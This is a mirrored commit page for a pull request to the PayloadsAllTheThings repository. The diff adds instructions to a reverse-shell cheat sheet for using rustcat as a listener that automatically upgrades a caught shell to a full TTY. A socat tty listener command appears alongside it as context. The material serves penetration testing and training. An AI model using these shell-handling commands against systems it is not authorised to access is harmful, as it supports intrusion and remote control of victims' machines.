mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-13 14:52:53 +00:00
Merge pull request #671 from Thy-GoD/patch-1
Add automatic shell upgrade via rustcat.
This commit is contained in:
commit
ed7c3a4e0c
1 changed files with 10 additions and 0 deletions
|
@ -550,6 +550,16 @@ or use `socat` binary to get a fully tty reverse shell
|
||||||
socat file:`tty`,raw,echo=0 tcp-listen:12345
|
socat file:`tty`,raw,echo=0 tcp-listen:12345
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Alternatively, `rustcat` binary can automatically inject the TTY shell command.
|
||||||
|
|
||||||
|
The shell will be automatically upgraded and the TTY size will be provided for manual adjustment.
|
||||||
|
Not only that, upon exiting the shell, the terminal will be reset and thus usable.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
stty raw -echo; stty size && rcat l -ie "/usr/bin/script -qc /bin/bash /dev/null" 6969 && reset
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
Spawn a TTY shell from an interpreter
|
Spawn a TTY shell from an interpreter
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
|
|
Loading…
Reference in a new issue